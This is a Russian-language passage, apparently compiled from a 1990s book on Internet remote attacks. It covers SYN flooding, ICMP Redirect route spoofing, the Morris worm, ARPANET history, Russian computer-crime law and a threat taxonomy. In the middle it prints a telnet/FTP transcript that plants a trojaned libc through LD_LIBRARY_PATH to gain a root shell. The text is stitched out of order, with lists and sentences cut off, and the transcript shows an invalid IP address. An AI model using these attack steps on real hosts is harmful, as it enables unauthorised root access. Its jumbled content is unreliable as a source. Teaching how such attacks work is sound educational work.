Наконец, условно к категории пользователей можно отнести человека, удаленно подключившегося (обычно по протоколу TELNET) к вашей машине и взаимодействующего с одной из программ-демонов (в современной терминологии такие программы называются серверами). Эти программы обычно стартуют при загрузке машины, чаще всего от имени суперпользователя и всегда активны как процессы. Это позволяет пользователю в любой момент времени удаленно подключаться к ним, но при этом он не имеет никаких прав на чтение/запись информации на вашем компьютере, он вообще не идентифицируется системой UNIX (командой who). Однако он может исполнять некоторые команды - не программы UNIX, а команды-запросы к тому демону, к которому он подключен. Так, подключившись по протоколу TELNET на 25 порт, можно вводить команды SMTP-сервера, например, mail или expn. Последний тип пользователя (назовем его псевдопользователь) оказывается чуть ли не самым важным для нашего рассмотрения, т.к., не обладая никакими правами (и обязанностями тоже, кстати - от него не требуется аутентификация, учет по нему тоже не ведется), он взаимодействует с демонами, которые практически всегда имеют полномочия суперпользователя.
Итак, условно иерархию пользователей на UNIX-машине можно представить как:
Из рассмотренной в предыдущем пункте схемы создания TCP-соединения следует, что на каждый полученный TCP-запрос на создание соединения операционная система должна сгенерировать начальное значение идентификатора ISN и отослать его в ответ на запросивший хост. При этом, так как в сети Internet (стандарта IPv4) не предусмотрен контроль за IP-адресом отправителя сообщения, то невозможно отследить истинный маршрут, пройденный IP-пакетом, и, следовательно, у конечных абонентов сети нет возможности ограничить число возможных запросов, принимаемых в единицу времени от одного хоста. Поэтому возможно осуществление типовой УА "Отказ в обслуживании" (п. 3.2.4), которая будет заключаться в передаче на атакуемый хост как можно большего числа ложных TCP-запросов на создание соединения от имени любого хоста в сети (рис. 4.11). При этом атакуемая сетевая ОС в зависимости от вычислительной мощности компьютера либо - в худшем случае - практически зависает, либо - в лучшем случае - перестает реагировать на легальные запросы на подключение (отказ в обслуживании). Это происходит из-за того, что для всей массы полученных ложных запросов система должна, во-первых, сохранить в памяти полученную в каждом запросе информацию и, во-вторых, выработать и отослать ответ на каждый запрос. Таким образом, все ресурсы системы "съедаются" ложными запросами: переполняется очередь запросов и система занимается только их обработкой. Эффективность данной удаленной атаки тем выше, чем больше пропускная способность канала между атакующим и целью атаки, и тем меньше, чем больше вычислительная мощь атакуемого компьютера (число и быстродействие процессоров, объем ОЗУ и т. д.).
Рис. 4.1.1 Нарушение работоспособности хоста в Internet, использующее направленный шторм ложных TCP-запросов на создание соединения.
С нашей точки зрения, очевидность данной удаленной атаки была ясна еще лет двадцать назад, когда появилось семейство протоколов TCP/IP. Корни этой атаки находятся в самой инфраструктуре сети Internet, в ее базовых протоколах - IP и TCP. Но каково же было наше удивление, когда мыувидели на информационном WWW-сервере CERT (Computer Emergency Respone Team) первое упоминание об этой удаленной атаке, датированное только 19 сентября 1996 года! Там эта атака носила название "TCP SYN Flooding and IP Spoofing Attacks" - "навод-нение" TCP-запросами с ложных IP-адресов.
Другая разновидность атаки "Отказ в обслуживании" состоит в передаче на атакуемый хост нескольких десятков (сотен) запросов на подключение к серверу, что может привести к временному (до 10 минут) переполнению очереди запросов на сервере (см. атаку К. Митника из п. 4.5.2 и пример с ОС Linux 1.2.8 в конце данного пункта). Это происходит из-за того, что некоторые сетевые ОС устроены так, чтобы обрабатывать только первые несколько запросов на подключение, а остальные - игнорировать. То есть при получении N запросов на подключение, ОС сервера ставит их в очередь и генерирует соответственно N ответов. Далее, в течение определенного промежутка времени, (тайм-аут ? 10 минут) сервер будет дожидаться от предполагаемого клиента сообщения, завершающего handshake и подтверждающего создание виртуального канала с сервером. Если атакующий пришлет на сервер количество запросов на подключение, равное максимальному числу одновременно обрабатываемых запросов на сервере, то в течение тайм-аута остальные запросы на подключение будут игнорироваться и к серверу будет невозможно подключиться.
Эксперименты с данной удаленной атакой, проводимые на различных сетевых ОС в экспериментальных 10-мегабитных сегментах сети, выявили следующие интересные результаты, с которыми авторы считали бы необходимым вас ознакомить. В случае передачи по каналу связи максимально возможного числа TCP-запросов на создание соединения и нахождении атакующего в одном сегменте с целью атаки атакуемые системы вели себя следующим образом: ОС Windows '95, установленная на 486DX2-66 с 8 Мб ОЗУ, "замирала" и переставала реагировать на всяческие внешние воздействия (нажатия на клавиатуру, например); ОС Linux 2.0.0 на 486DX4-133 c 8 Мб ОЗУ тоже практически прекращала всякую работу и обрабатывала одно нажатие на клавиатуре примерно 30 секунд. Мало того, что к этим атакованным хостам было, естественно, невозможно получить удаленный доступ, но и локальный доступ был невозможен! Наилучший результат в процессе этого теста показал двухпроцессорный файрвол: удаленное подключение к нему было также невозможно, но осуществляемая атака на локальных пользователях никак не сказывалась (все-таки два процессора).
Не менее интересным было поведение атакуемых систем после снятия воздействия. ОС Windows '95 практически сразу же после прекращения воздействия начала нормально функционировать; в ОС Linux 2.0.0 с 8 Мб ОЗУ, по-видимому, переполнился буфер, и более получаса система не функционировала ни для удаленных, ни для локальных пользователей, а занималась передачей ответов на полученные ранее запросы. Двухпроцессорный файрвол сразу же после снятия воздействия стал доступен для удаленного доступа.
При нахождении с атакуемыми системами в соседних смежных сегментах выяснилось следующее: OC Windows '95 на Pentium100 с 16 Мб ОЗУ обрабатывала каждое нажатие на клавиатуре примерно секунду, ОС Linux 2.0.0 на Pentium100 с 16 Мб ОЗУ практически "повисла" - одно нажатие за 30 секунд, зато после снятия воздействия у локального пользователя немедленно появилась возможность нормальной работы.
Не нужно обманываться результатами этого теста и считать, что Windows '95 показала себя с лучшей стороны. Это связано только лишь с тем, что передаваемые TCP-запросы направлялись на FTP-порт, то есть это был запрос на подключение к FTP-серверу, а так как Windows '95 - принципиально клиентская операционная система и FTP-сервера под нее нет, то, следовательно, сохранять в памяти параметры запроса и дожидаться окончания handshake ей просто не было необходимости.
В процессе эксперимента также была выявлена одна принципиальная слабость, присущая всем ОС Linux. После передачи около десятка запросов на определенный порт (FTP или TELNET) на некоторое время (до нескольких десятков минут) на атакуемом хосте отключался соответствующий данному порту сервер (каждая программа-сервер ожидает запросов на определенном зарезервированном порту), то есть в течение определенного промежутка времени у пользователей не было возможности удаленно подключиться к данному серверу и получить удаленный доступ к его ресурсам. Это, как уже говорилось ранее, связано с переполнением числа одновременно обслуживаемых данным сервером клиентов.
В заключение необходимо отметить, что в существующем стандарте сети Internet IPv4 нет приемлемых способов надежно обезопасить свои системы от этой удаленной атаки. К счастью, атакующий в результате осуществления описанной атаки не сможет получить несанкционированный доступ к вашей информации. Он сможет лишь "съесть" вычислительные ресурсы вашей системы и нарушить ее связь с внешним миром. Остается надеяться, что нарушение работоспособности вашего хоста просто никому не нужно.
Начиная с 1987 года пользователи персональных компьютеров сталкиваются с различными компьютерными вирусами. Однако казалось, что миру сетей, большая часть из которых базировалась на ОС UNIX, ничто не угрожает. Поэтому события ноября 1988 года всколыхнули не только тех, кто имел дело с компьютерами и сетями, но и широкую общественность. 2 ноября 1988 года выпускник Корнельского университета Роберт Таппан Моррис запустил свою программу, которая вышла из-под контроля автора и начала быстро перемещаться по сети. В короткий срок вирус-червь заполнил многие узлы Internet, загружая операционные системы своими копиями, вызывая отказы в обслуживании и т.п. Анализ данной атаки будет проведен в главе 8, сейчас же отметим несколько интересных моментов.
В сетевом компьютерном мире имя Роберта Морриса было известным. Еще в 1985 году в AT&T Bell Labs им был опубликован технический отчет, посвященный слабостям реализации TCP/IP в версии 4.2 BSD UNIX [7]. Но этот отчет написан... Робертом Моррисом-старшим - отцом автора червя. Моррис-старший в это время занимал должность научного руководителя Национального Центра Компьютерной Безопасности (NCSC - National Computer Security Center) - эксперта по компьютерной безопасности. Моррис старший много лет проработал в лаборатории AT&T Bell, где в 60-х годах принимал участие в разработке программ Core Wars. К этому необходимо добавить, что лето 1988 года Моррис-младший провел в этой же лаборатории, где был занят переписыванием программ системы безопасности для компьютеров, работающих под управлением ОС UNIX. Кстати, инцидент с программой-червем практически никак не сказался на карьере Морриса-старшего. В начале 1989 года он был избран в специальный консультативный совет при Национальном институте стандартов и министерстве торговли. В задачу этого совета входит выработка заключений и рекомендаций по вопросам безопасности вычислительных систем правительственных органов США, а также решение вопросов, возникающих при разработке и внедрении стандартов защиты информации.
Червь Морриса инфицировал 6200 компьютеров. Подсчитанные потери, хотя формально червь не наносил какого-либо ущерба данным в инфицированных хостах, были разделены на прямые и косвенные. К прямым потерям были отнесены:
| Год | Число инцидентов |
| 1988 | 6 |
| 1989 | 132 |
| 1990 | 252 |
| 1991 | 406 |
| 1992 | 773 |
| 1993 | ? |
| 1994 | ? |
| 1995 | 2412 |
Как уже подчеркивалось в п. 3.2.3.1, маршрутизация в сети Internet играет важнейшую роль для обеспечения нормального функционирования сети. Маршрутизация в Internet осуществляется на сетевом уровне (IP-уровень). Для ее обеспечения в памяти сетевой ОС каждого хоста существуют таблицы маршрутизации, содержащие данные о возможных маршрутах. Каждый сегмент сети подключен к глобальной сети Internet как минимум через один маршрутизатор, а, следовательно, все хосты в этом сегменте и маршрутизатор должны физически располагаться в одном сегменте. Поэтому все сообщения, адресованные в другие сегменты сети, направляются на маршрутизатор, который, в свою очередь, перенаправляет их далее по указанному в пакете IP-адресу, выбирая при этом оптимальный маршрут. Напомним, что в сети Internet для выбора оптимального маршрута используются специальные протоколы маршрутизации: RIP, OSPF и т. д.
Рассмотрим, что представляет из себя таблица маршрутизации хоста. В каждой строке этой таблицы содержится описание соответствующего маршрута. Это описание включает: IP-адрес конечной точки маршрута (Destination), IP-адрес соответствующего маршрутизатора (Gateway), а также ряд других параметров, характеризующих этот маршрут. Обычно в системе существует так называемый маршрут по умолчанию (поле Destination содержит значение 0.0.0.0, то есть default, а поле Gateway - IP-адрес маршрутизатора). Этот маршрут означает, что все пакеты, адресуемые на IP-адрес вне пределов данной подсети, будут направляться по указанному default-маршруту, то есть на маршрутизатор (это реализуется установкой в поле адреса назначения в Ethernet-пакете аппаратного адреса маршрутизатора).
Как говорилось ранее, в сети Internet существует управляющий протокол ICMP, одной из функций которого является удаленное управление маршрутизацией на хостах внутри сегмента сети. Удаленное управление маршрутизацией необходимо для предотвращения возможной передачи сообщений по неоптимальному маршруту. В сети Internet удаленное управление маршрутизацией реализовано в виде передачи с маршрутизатора на хост управляющего ICMP-сообщения: Redirect Message. Исследование протокола ICMP показало, что сообщение Redirect бывает двух типов. Первый тип сообщения носит название Redirect Net и уведомляет хост о необходимости смены адреса маршрутизатора, то есть default-маршрута. Второй тип - Redirect Host - информирует хост о необходимости создания нового маршрута к указанной в сообщении системе и внесения ее в таблицу маршрутизации. Для этого в сообщении указывается IP-адрес хоста, для которого необходима смена маршрута (адрес будет занесен в поле Destination), и новый IP-адрес маршрутизатора, на который необходимо направлять пакеты, адресованные данному хосту (этот адрес заносится в поле Gateway). Необходимо обратить внимание на важное ограничение, накладываемое на IP-адрес нового маршрутизатора: он должен быть в пределах адресов данной подсети!
Анализ исходных текстов ОС Linux 1.2.8 показал, что ICMP-сообщение Redirect Net игнорируется данной ОС (это представляется логичным, так как динамическая смена маршрутизатора в процессе работы системы вряд ли необходима. Видимо, можно сделать вывод, что это сообщение игнорируют и другие сетевые ОС). Что касается управляющего сообщения ICMP Redirect Host, то единственным идентифицирующим его параметром является IP-адрес отправителя, который должен совпадать с IP-адресом маршрутизатора, так как это сообщение может передаваться только маршрутизатором. Особенность протокола ICMP состоит в том, что он не предусматривает никакой дополнительной аутентификации источников сообщений. Таким образом, ICMP-сообщения передаются на хост маршрутизатором однонаправлено, без создания виртуального соединения. Следовательно, ничто не мешает атакующему послать ложное ICMP-сообщение о смене маршрута от имени маршрутизатора.
Приведенные выше факты позволяют осуществить типовую удаленную атаку "Внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута" , рассмотренную в п. 3.2.3.1.
Для осуществления этой удаленной атаки необходимо подготовить ложное ICMP Redirect Host сообщение, в котором указать конечный IP-адрес маршрута (адрес хоста, маршрут к которому будет изменен) и IP-адрес ложного маршрутизатора. Далее это сообщение передается на атакуемый хост от имени маршрутизатора. Для этого в IP-заголовке в поле адреса отправителя указывается IP-адрес маршрутизатора. В принципе, можно предложить два варианта данной удаленной атаки.
В первом случае атакующий находится в том же сегменте сети, что и цель атаки. Тогда, послав ложное ICMP-сообщение, он в качестве IP-адреса нового маршрутизатора может указать либо свой IP-адрес, либо любой из адресов данной подсети. Это даст атакующему возможность изменить маршрут передачи сообщений, направляемых атакованным хостом на определенный IP-адрес, и получить контроль над трафиком между атакуемым хостом и интересующим атакующего сервером. После этого атака перейдет во вторую стадию, связанную с приемом, анализом и передачей пакетов, получаемых от "обманутого" хоста. Рассмотрим функциональную схему осуществления этой удаленной атаки (рис 4.7):
Рис. 4.7. Внутрисегментное навязывание хосту ложного маршрута при использовании протокола ICMP.
Как уже подчеркивалось в предыдущих главах, проблема идентификации и аутентификации субъектов и объектов РВС имеет чрезвычайно важное значение. От успеха ее решения зависит безопасность распределенной ВС в целом. Примеры успешно осуществленных удаленных атак, рассмотренные в предыдущих главах, доказывают, что отсутствие у разработчиков определенной заранее выработанной концепции и принципов идентификации объектов РВС в целом оставляют атакующему потенциальные возможности для компрометации объектов системы. Стандартными способами компрометации субъектов и объектов РВС являются:
выдача себя за определенный объект или субъект с присвоением его прав и полномочий для доступа в систему (например, см. п. 3.2.2 - типовая УА "Подмена доверенного субъекта или объекта РВС" );
внедрение в систему ложного объекта, выдающего себя за доверенный объект системы (например, см. п. 3.2.3 - типовая УА "Ложный объект РВС" ).
В Internet в базовых протоколах обмена идентификация и аутентификация объектов практически отсутствует. Так, в прикладных протоколах FTP и TELNET имена и пароли пользователей передаются по сети в виде открытых незашифрованных сообщений (п. 4.1). В существующем стандарте IPv4 протокол сетевого уровня - IP - не предусматривает никакой идентификации и аутентификации объектов (за исключением IP-адреса отправителя, подлинность которого, в свою очередь, невозможно подтвердить (п. 5.1.3-5.1.4)). Все проблемы с идентификацией разработчики переложили на следующий - транспортный - уровень. За этот уровень отвечают протоколы UDP и TCP. Протокол UDP не содержит в себе дополнительной идентифицирующей информации, однако используется для передачи управляющих (!) ICMP-сообщений (п. 4.4). Таким образом, единственным протоколом, приз-ванным обеспечить безопасность в Internet, является протокол TCP, взаимодействие с использованием которого осуществляется по виртуальному каналу.
Когда усилия науки
прольют везде елей и мед,
по любопытству иль со скуки
все это кто-нибудь взорвет.
И.Губерман.
Гарики на каждый день.
Мир тесен... Подтверждением этого обыденного выражения может служить история возникновения Internet. Как это ни парадоксально звучит, но возникновению Internet США в определенной степени обязаны... Советскому Союзу.
После второй мировой войны, продемонстрировав друг другу и остальному миру наличие ядерного и водородного оружия, Советский Союз и США начали разработку ракетных носителей для доставки этого оружия. Соперничество велось ускоренными темпами в обстановке строжайшей секретности. Уже в 1947 году США ввели по отношению к Советскому Союзу санкции, ограничивающие экспорт стратегических товаров и технологий. Под технологией в этом случае понималась специальная информация, необходимая для разработки, производства и использования изделия. Эти ограничения были окончательно сформулированы и оформлены в 1950 году созданным координационным комитетом по многостороннему стратегическому экспортному контролю - КОКОМ (COCOM - Coordinating Committee for multilateral strategic export controls). Начавшаяся холодная война и изоляция от мировых достижений науки и техники потребовали от Советского Союза абсолютной самостоятельности. Соперничество двух ведущих держав мира стало захватывать сферу науки и технологий.
Поскольку все работы велись в обстановке строжайшей секретности, то как гром среди ясного неба 4 октября 1957 года прозвучало сообщение о запуске Советским Союзом первого искусственного спутника Земли, что показало наличие у Советского Союза ракетоносителей, а также отставание США. Запуск первого искусственного спутника и послужил причиной подписания президентом США Д.Эйзенхауэром документа о создании в рамках министерства обороны Агентства по перспективным научным проектам - DARPA (Defence Advanced Research Project Agency).
Вновь созданная организация объединила виднейших ученых страны для решения ряда стратегических задач, которые должны были бы обеспечить стратегическое превосходство США. В частности, одним из результатов деятельности этого агентства был запуск амери-канского спутника через 18 месяцев после советского. Через несколько лет основная деятельность DARPA сконцентрировалась на сетевых компьютерных и коммуникационных технологиях.
В существующем стандарте сети Internet невозможно обеспечить контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (п. 5.1.3). Из-за этого любой хост в сети Internet может быть полностью парализован (п. 4.6).
Для тех, кто хочет посмотреть на проблему безопасности с другой стороны, со стороны кракера, хочется напомнить, что с 1997 года начали
действовать новые статьи УК РФ, где, к сожалению, довольно расплывчато и нечетко описывается та возможная уголовная ответственность, которую могут нести граждане РФ за "преступления в сфере компьютерной информации" (Глава 28 УК РФ):
Статья 272. Неправомерный доступ к компьютерной информации.
1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.
2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой, либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размере заработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет.
Статья 273.Создание, использование и распространение вредоносных программ для ЭВМ.
1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами, - наказываются лишением свободы на срок до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев.
О безопасности сети Internet, а если точнее, то о той опасности, которая угрожает всем пользователям Сети. Основной целью авторов являлось показать, что Internet как величайшее информационное достижение человечества помимо очевидных достоинств обладает рядом существенных недостатков в ее сложившейся системе безопасности. Мы, основываясь на своих практических исследованиях безопасности Сети и анализе доступной информации, попытались как можно более подробно и точно описать те возможные удаленные информационные разрушающие воздействия (удаленные атаки), о которых ходит столько слухов и мифов в среде пользователей Internet и которые в любой момент могут пожаловать к вам в качестве незваных гостей. А для того, чтобы оказать им достойную встречу, необходимо знать основные типы возможных атак и понимать механизмы их реализации. Авторам хотелось бы надеяться, что наша основная цель - повышение уровня информированности специалистов и пользователей Internet о тех угрозах информационной безопасности, которые таит в себе Сеть, все-таки будет достигнута!
Исходно сеть создавалась как незащищенная открытая система, предназначенная для информационного общения все возрастающего числа пользователей.
При этом подключение новых пользователей должно было быть максимально простым, а доступ к информации - наиболее удобным. Все это явно противоречит принципам создания защищенной системы, безопасность которой должна быть описана на всех стадиях ее создания и эксплуатации, а пользователи - наделены четкими полномочиями.
Создатели сети не стремились к этому, да и требования защиты настолько бы усложнили проект, что сделали бы его создание едва ли возможным.
Вывод: Internet создавался как незащищенная система, не предназначенная для хранения и обработки конфиденциальной информации. Более того, защищенный Internet не смог бы стать той системой, которой он сейчас является и не превратился бы в информационный образ мировой культуры, ее прошлого и настоящего. В этом самостоятельная ценность Сети и, возможно, ее небезопасность есть плата за такое высокое назначение.
Следствие: Имеется множество пользователей, заинтересованных в том, чтобы Internet стал системой с категорированной информацией и полномочиями пользователями, подчиненными установленной политике безопасности.
Однако наиболее яркие творения человеческого разума через некоторое время начинают жить самостоятельной жизнью, развиваясь и выходя за первоначальные замыслы создателей. Поэтому слабая защищенность сети с течением времени стала все больше беспокоить ее пользователей.
На наш взгляд, в Сети не должна находиться информация, раскрытия которой приведет к серьезным последствиям. Наоборот, в Сети необходимо размещать информацию, распространение которой желательно ее владельцу. При этом всегда необходимо учитывать тот факт, что в любой момент эта информация может быть перехвачена, искажена или может стать недоступной. Следовательно, речь должна идти не о защищенности Internet, а об обеспечении разумной достаточности информационной безопасности Сети.
Конечно, это не отменяет необходимости ознакомления пользователя с богатым и все время возрастающим арсеналом программных и аппаратных средств обеспечения информационной безопасности сети. Тем не менее отметим, что они не в состоянии превратить Internet в защищенную среду, что означило бы изменение ее природы.
Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).
Основная идея проникновения такова: злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского коня": при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на атакуемой машине как настоящая. Для этого он подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут передать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet'у на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны любые другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так: evil:~# ftp victim.com
Connected to victim.com 220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready. Name (evil: root ): anonymous
331 Guest login ok, send your complete e-mail address as password. Password: ***** 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd incoming
250 CWD command successful. ftp> send libc.so.4
200 PORT command successful. 150 Opening BINARY mode data connection for libc.so.4. 226 Transfer complete. ftp> bye
221 Goodbye. evil:~# telnet
telnet> env define LD_LIBRARY_PATH /home/ftp/incoming
telnet> env export LD_LIBRARY_PATH
telnet> open victim.com
Trying 351.227.61.23... Connected to victim.com. Escape character is '^]'. Linux 1.2.13 (victim.com) (ttyp0) Victim login: hacker
Password: bash# cd / root
Вирус содержал некоторое количество ошибок - от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.
Для того, чтобы рассматривать в дальнейшем вопросы безопасности в Internet, необходимо напомнить основные понятия, которыми оперирует теория компьютерной безопасности. Вообще говоря, их всего три: это угрозы, уязвимости и атаки. Хотя искушенному читателю смысл их и так достаточно хорошо ясен, постараемся неформально пояснить его.
Итак, угроза безопасности компьютерной системы - это потенциально возможное происшествие, неважно, преднамеренное или нет, которое может оказать нежелательное воздействие на саму систему, а также на информацию, хранящуюся в ней. Иначе говоря, угроза - это нечто плохое, что когда-нибудь может произойти.
Уязвимость компьютерной системы - это некая ее неудачная характеристика, которая делает возможным возникновение угрозы. Другими словами, именно из-за наличия уязвимостей в системе происходят нежелательные события.
Наконец,атака на компьютерную систему - это действие, предпринимаемое злоумышленником, которое заключается в поиске и использовании той или иной уязвимости. Таким образом, атака - это реализация угрозы. Заметим, что такое толкование атаки (с участием человека, имеющего злой умысел), исключает присутствующий в определении угрозы элемент случайности, но, как показывает опыт, часто бывает невозможно различить преднамеренные и случайные действия, и хорошая система защиты должна адекватно реагировать на любое из них.
Далее, исследователи обычно выделяют три основных вида угроз безопасности - это угрозы раскрытия, целостности и отказа в обслуживании.
Угроза раскрытия заключается том, что информация становится известной тому, кому не следовало бы ее знать. В терминах компьютерной безопасности угроза раскрытия имеет место всякий раз, когда получен доступ к некоторой конфиденциальной информации, хранящейся в вычислительной системе или передаваемой от одной системы к другой. Иногда вместо слова "раскрытие" используются термины "кража" или "утечка" .
Угроза целостности включает в себя любое умышленное изменение (модификацию или даже удаление) данных, хранящихся в вычислительной системе или передаваемых из одной системы в другую. Обычно считается, что угрозе раскрытия подвержены в большей степени государственные структуры, а угрозе целостности - деловые или коммерческие.
Угроза отказа в обслуживании возникает всякий раз, когда в результате некоторых действий блокируется доступ к некоторому ресурсу вычислительной системы. Реально блокирование может быть постоянным, так чтобы запрашиваемый ресурс никогда не был получен, или оно может вызвать только задержку запрашиваемого ресурса, достаточно долгую для того, чтобы он стал бесполезным. В таких случаях говорят, что ресурс исчерпан.
Основной особенностью любой сетевой системы является то, что ее компоненты распределены в пространстве и связь между ними физически осуществляется при помощи сетевых соединений (коаксиальный кабель, витая пара, оптоволокно и т. п.) и программно при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной вычислительной системы (ВС), передаются по сетевым соединениям в виде пакетов обмена.
Сетевые системы характерны тем, что, наряду с обычными (локальными) атаками, осуществляемыми в пределах одной компьютерной системы, к ним применим специфический вид атак, обусловленный распределенностью ресурсов и информации в пространстве. Это так называемые сетевые (или удаленные) атаки. Они характерны, во-первых, тем, что злоумышленник может находиться за тысячи километров от атакуемого объекта, и, во-вторых, тем, что нападению может подвергаться не конкретный компьютер, а информация, передающаяся по сетевым соединениям. С развитием локальных и глобальных сетей именно удаленные атаки становятся лидирующими как по количеству попыток, так и по успешности их применения и, соответственно, обеспечение безопасности ВС с точки зрения противостояния удаленным атакам приобретает первостепенное значение. Специфика распределенных ВС состоит в том, что если в локальных ВС наиболее частыми были угрозы раскрытия и целостности, то в сетевых системах, как будет показано далее, на первое место выходит угроза отказа в обслуживании.
Под удаленной атакой будем понимать информационное разрушающее воздействие на распределенную ВС, программно осуществляемое по каналам связи. Это определение охватывает обе особенности сетевых систем - распределенность компьютеров и распределенность информации. Поэтому далее будут рассмотрены два подвида таких атак - это удаленные атаки на инфраструктуру и протоколы сети и удаленные атаки на телекоммуникационные службы. Первые используют уязвимости в сетевых протоколах и инфраструктуре сети, а вторые - уязвимости в телекоммуникационных службах. При этом под инфраструктурой сети мы понимаем сложившуюся систему организации отношений между объектами сети и используемые в сети сервисные службы.
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на каждом из объектов распределенной ВС, является обеспечение надежного удаленного доступа с любого объекта сети к данному объекту. В общем случае в распределенной ВС каждый субъект системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных сетях возможность предоставления удаленного доступа реализуется следующим образом: на объекте РВС в сетевой ОС запускаются на выполнение ряд программ-серверов (например, FTP-сервер, WWW-сервер и т.п.), предоставляющих удаленный доступ к ресурсам данного объекта. Данные программы-серверы входят в состав телекоммуникационных служб предоставления удаленного доступа. Задача сервера состоит в том, чтобы, находясь в памяти операционной системы объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае получения подобного запроса сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет (под-ключение к серверу специально описано очень схематично, так как подробности в данный момент не имеют значения). По аналогичной схеме происходит создание виртуального канала связи, по которому обычно взаимодействуют объекты РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие извне запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса (порт или сокет) прикладному процессу, которым является соответствующий сервер.
Очевидно, что сетевая операционная система способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зависят от различных параметров системы в целом, основными из которых являются быстродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи (чем она выше, тем больше число возможных запросов в единицу времени).
Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов, то в этом случае будет иметь успех типовая удаленная атака "Отказ в обслуживании" (пример подобной атаки на сеть Internet - п. 4.6). Результат применения этой удаленной атаки - нарушение на атакованном объекте работоспособности соответствующей службы предоставления удаленного доступа, то есть невозможность получения удаленного доступа с других объектов РВС - отказ в обслуживании!
Вторая разновидность этой типовой удаленной атаки состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный "шторм" запросов). В этом случае, если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может являться как переполнение очереди запросов и отказа одной из телекоммуникационных служб, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов.
И последней, третьей разновидностью атаки "Отказ в обслуживании" является передача на атакуемый объект некорректного, специально подобранного запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим зависанием системы (пример в п. 4.7.2 - "Ping Death" ) и т. п.
Типовая удаленная атака "Отказ в обслуживании" является активным воздействием (класс 1.2), осуществляемым с целью нарушения работоспособности системы (класс 2.3), безусловно относительно цели атаки (класс 3.3). Данная УА является однонаправленным воздействием (класс 4.2), как межсегментным (класс 5.1), так и внутрисегментным (класс 5.2), осуществляемым на транспортном (класс 6.4) и прикладном (класс 6.7) уровнях модели OSI.
Таблица 3.2
Классификация типовых удаленных атак на распределенные ВС
| Типовая удаленная атака | Характер воздействия | Цель воздействия | Условие начала осуществления воздействия | Наличие обратной связи с атакуемым объектом | Расположение субъекта атаки относительно атакуемого объекта | Уровень модели OSI | |||||||||||||
| Класс воздействия | 1.1 | 1.2 | 2.1 | 2.2 | 2.3 | 3.1 | 3.2 | 3.3 | 4.1 | 4.2 | 5.1 | 5.2 | 6.1 | 6.2 | 6.3 | 6.4 | 6.5 | 6.6 | 6.7 |
| Анализ сетевого трафика | + | - | + | - | - | - | - | + | - | + | + | - | - | + | - | - | - | - | - |
| Подмена доверенного объекта РВС | - | + | + | + | - | - | + | - | + | + | + | + | - | - | + | + | - | - | - |
| Внедрение в РВС ложного объекта путем навязывания ложного маршрута | - | + | + | + | + | - | - | + | + | + | + | + | - | - | + | - | - | - | - |
